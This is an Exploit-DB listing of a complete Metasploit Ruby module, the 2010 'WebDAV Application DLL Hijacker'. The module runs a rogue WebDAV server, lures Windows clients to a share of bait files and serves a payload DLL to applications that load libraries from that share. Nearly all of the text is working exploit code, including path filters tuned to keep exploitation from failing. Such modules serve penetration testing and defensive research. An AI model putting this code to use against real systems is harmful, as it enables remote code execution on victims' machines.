WebDAV – Application DLL Hijacker (Metasploit)

  • 作者: Metasploit
    日期: 2010-09-24
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16550/
  • ##
    # $Id: webdav_dll_hijacker.rb 10454 2010-09-24 01:11:05Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ManualRanking
    
    	#
    	# This module acts as an HTTP server
    	#
    	include Msf::Exploit::Remote::HttpServer::HTML
    	include Msf::Exploit::EXE
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name'			=> 'WebDAV Application DLL Hijacker',
    			'Description'	=> %q{
    				This module presents a directory of file extensions that can lead to
    			code execution when opened from the share. The default EXTENSIONS option
    			must be configured to specify a vulnerable application type.
    			},
    			'Author'		=>
    				[
    					'hdm', # Module itself
    					'jduck', # WebDAV implementation
    					'jcran', # Exploit vectors
    				],
    			'License'		=> MSF_LICENSE,
    			'Version'		=> '$Revision: 10454 $',
    			'References'	=>
    				[
    					['URL', 'http://blog.zoller.lu/2010/08/cve-2010-xn-loadlibrarygetprocaddress.html'],
    					['URL', 'http://www.acrossecurity.com/aspr/ASPR-2010-08-18-1-PUB.txt'],
    				],
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'process',
    				},
    			'Payload'		=>
    				{
    					'Space'	=> 2048,
    				},
    			'Platform'		=> 'win',
    			'Targets'		=>
    				[
    					[ 'Automatic',	{ } ]
    				],
    			'DisclosureDate' => 'Aug 18 2010',
    			'DefaultTarget'=> 0))
    
    		register_options(
    			[
    				OptPort.new(	'SRVPORT',		 [ true, "The daemon port to listen on (do not change)", 80 ]),
    				OptString.new(	'URIPATH',		 [ true, "The URI to use (do not change).", "/" ]),
    				OptString.new(	'BASENAME',		 [ true, "The base name for the listed files.", "policy" ]),
    				OptString.new(	'SHARENAME',	 [ true, "The name of the top-level share.", "documents" ]),
    				OptString.new(	'EXTENSIONS',	 [ true, "The list of extensions to generate", "txt" ])
    			], self.class)
    
    		deregister_options('SSL', 'SSLVersion') # WebDAV does not support SSL
    	end
    
    
    	def on_request_uri(cli, request)
    
    		case request.method
    		when 'OPTIONS'
    			process_options(cli, request)
    		when 'PROPFIND'
    			process_propfind(cli, request)
    		when 'GET'
    			process_get(cli, request)
    		else
    			print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => 404 (#{request.uri})")
    			resp = create_response(404, "Not Found")
    			resp.body = ""
    			resp['Content-Type'] = 'text/html'
    			cli.send_response(resp)
    		end
    	end
    
    
    	def process_get(cli, request)
    
    		myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    		webdav = "\\\\#{myhost}\\"
    
    		if blacklisted_path?(request.uri)
    			print_status("#{cli.peerhost}:#{cli.peerport} GET => 404 [BLACKLIST] (#{request.uri})")
    			resp = create_response(404, "Not Found")
    			resp.body = ""
    			cli.send_response(resp)
    			return
    		end
    
    		if (request.uri =~ /\.(dll|dl|drv|cpl)$/i)
    			print_status("#{cli.peerhost}:#{cli.peerport} GET => DLL Payload")
    			return if ((p = regenerate_payload(cli)) == nil)
    			data = generate_payload_dll({ :code => p.encoded })
    			send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
    			return
    		end
    
    		# Treat index.html specially
    		if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
    			print_status("#{cli.peerhost}:#{cli.peerport} GET => REDIRECT (#{request.uri})")
    			resp = create_response(200, "OK")
    
    			resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}#{datastore['SHARENAME']}\\"></head><body></body></html>|
    
    			resp['Content-Type'] = 'text/html'
    			cli.send_response(resp)
    			return
    		end
    
    		# Anything else is probably a request for a data file...
    		print_status("#{cli.peerhost}:#{cli.peerport} GET => DATA (#{request.uri})")
    		data = "HELLO!"
    		send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
    	end
    
    	#
    	# OPTIONS requests sent by the WebDav Mini-Redirector
    	#
    	def process_options(cli, request)
    		print_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}")
    		headers = {
    			'MS-Author-Via' => 'DAV',
    			'DASL'=> '<DAV:sql>',
    			'DAV' => '1, 2',
    			'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
    			'Public'=> 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
    			'Cache-Control' => 'private'
    		}
    		resp = create_response(207, "Multi-Status")
    		headers.each_pair {|k,v| resp[k] = v }
    		resp.body = ""
    		resp['Content-Type'] = 'text/xml'
    		cli.send_response(resp)
    	end
    
    	#
    	# PROPFIND requests sent by the WebDav Mini-Redirector
    	#
    	def process_propfind(cli, request)
    		path = request.uri
    		print_status("#{cli.peerhost}:#{cli.peerport} PROPFIND #{path}")
    		body = ''
    
    		my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    		my_uri= "http://#{my_host}/"
    
    		if path !~ /\/$/
    
    			if blacklisted_path?(path)
    				print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 404 (#{path})"
    				resp = create_response(404, "Not Found")
    				resp.body = ""
    				cli.send_response(resp)
    				return
    			end
    
    			if path.index(".")
    				print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 207 File (#{path})"
    				body = %Q|<?xml version="1.0" encoding="utf-8"?>
    <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
    <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    <D:href>#{path}</D:href>
    <D:propstat>
    <D:prop>
    <lp1:resourcetype/>
    <lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
    <lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
    <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
    <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
    <lp2:executable>T</lp2:executable>
    <D:supportedlock>
    <D:lockentry>
    <D:lockscope><D:exclusive/></D:lockscope>
    <D:locktype><D:write/></D:locktype>
    </D:lockentry>
    <D:lockentry>
    <D:lockscope><D:shared/></D:lockscope>
    <D:locktype><D:write/></D:locktype>
    </D:lockentry>
    </D:supportedlock>
    <D:lockdiscovery/>
    <D:getcontenttype>application/octet-stream</D:getcontenttype>
    </D:prop>
    <D:status>HTTP/1.1 200 OK</D:status>
    </D:propstat>
    </D:response>
    </D:multistatus>
    |
    				# send the response
    				resp = create_response(207, "Multi-Status")
    				resp.body = body
    				resp['Content-Type'] = 'text/xml; charset="utf8"'
    				cli.send_response(resp)
    				return
    			else
    				print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 301 (#{path})"
    				resp = create_response(301, "Moved")
    				resp["Location"] = path + "/"
    				resp['Content-Type'] = 'text/html'
    				cli.send_response(resp)
    				return
    			end
    		end
    
    		print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 207 Directory (#{path})"
    		body = %Q|<?xml version="1.0" encoding="utf-8"?>
    <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
    	<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    		<D:href>#{path}</D:href>
    		<D:propstat>
    			<D:prop>
    				<lp1:resourcetype><D:collection/></lp1:resourcetype>
    				<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
    				<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
    				<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
    				<D:supportedlock>
    					<D:lockentry>
    						<D:lockscope><D:exclusive/></D:lockscope>
    						<D:locktype><D:write/></D:locktype>
    					</D:lockentry>
    					<D:lockentry>
    						<D:lockscope><D:shared/></D:lockscope>
    						<D:locktype><D:write/></D:locktype>
    					</D:lockentry>
    				</D:supportedlock>
    				<D:lockdiscovery/>
    				<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
    			</D:prop>
    		<D:status>HTTP/1.1 200 OK</D:status>
    	</D:propstat>
    </D:response>
    |
    
    		if request["Depth"].to_i > 0
    			trail = path.split("/")
    			trail.shift
    			case trail.length
    			when 0
    				body << generate_shares(path)
    			when 1
    				body << generate_files(path)
    			end
    		else
    			print_status "#{cli.peerhost}:#{cli.peerport} PROPFIND => 207 Top-Level Directory"
    		end
    
    		body << "</D:multistatus>"
    
    		body.gsub!(/\t/, '')
    
    		# send the response
    		resp = create_response(207, "Multi-Status")
    		resp.body = body
    		resp['Content-Type'] = 'text/xml; charset="utf8"'
    		cli.send_response(resp)
    	end
    
    	def generate_shares(path)
    		share_name = datastore['SHARENAME']
    %Q|
    <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    <D:href>#{path}#{share_name}/</D:href>
    <D:propstat>
    <D:prop>
    <lp1:resourcetype><D:collection/></lp1:resourcetype>
    <lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
    <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
    <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
    <D:supportedlock>
    <D:lockentry>
    <D:lockscope><D:exclusive/></D:lockscope>
    <D:locktype><D:write/></D:locktype>
    </D:lockentry>
    <D:lockentry>
    <D:lockscope><D:shared/></D:lockscope>
    <D:locktype><D:write/></D:locktype>
    </D:lockentry>
    </D:supportedlock>
    <D:lockdiscovery/>
    <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
    </D:prop>
    <D:status>HTTP/1.1 200 OK</D:status>
    </D:propstat>
    </D:response>
    |
    	end
    
    	def generate_files(path)
    		trail = path.split("/")
    		return "" if trail.length < 2
    
    		base= datastore['BASENAME']
    		exts= datastore['EXTENSIONS'].gsub(",", " ").split(/\s+/)
    		files = ""
    		exts.each do |ext|
    			files << %Q|
    <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    <D:href>#{path}#{base}.#{ext}</D:href>
    <D:propstat>
    <D:prop>
    <lp1:resourcetype/>
    <lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
    <lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
    <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
    <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
    <lp2:executable>T</lp2:executable>
    <D:supportedlock>
    <D:lockentry>
    <D:lockscope><D:exclusive/></D:lockscope>
    <D:locktype><D:write/></D:locktype>
    </D:lockentry>
    <D:lockentry>
    <D:lockscope><D:shared/></D:lockscope>
    <D:locktype><D:write/></D:locktype>
    </D:lockentry>
    </D:supportedlock>
    <D:lockdiscovery/>
    <D:getcontenttype>application/octet-stream</D:getcontenttype>
    </D:prop>
    <D:status>HTTP/1.1 200 OK</D:status>
    </D:propstat>
    </D:response>
    |
    		end
    
    		files
    	end
    
    	def gen_timestamp(ttype=nil)
    		::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
    	end
    
    	def gen_datestamp(ttype=nil)
    		::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
    	end
    
    	# This method rejects requests that are known to break exploitation
    	def blacklisted_path?(uri)
    		return true if uri =~ /\.exe/i
    		return true if uri =~ /\.(config|manifest)/i
    		return true if uri =~ /desktop\.ini/i
    		return true if uri =~ /lib.*\.dll/i
    		return true if uri =~ /\.tmp$/i
    		return true if uri =~ /(pcap|packet)\.dll/i
    		false
    	end
    
    	def exploit
    
    		myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
    
    		@exploit_unc= "\\\\#{myhost}\\"
    
    		if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
    			raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
    		end
    
    		print_status("")
    		print_status("Exploit links are now available at #{@exploit_unc}#{datastore['SHARENAME']}\\")
    		print_status("")
    
    		super
    	end
    end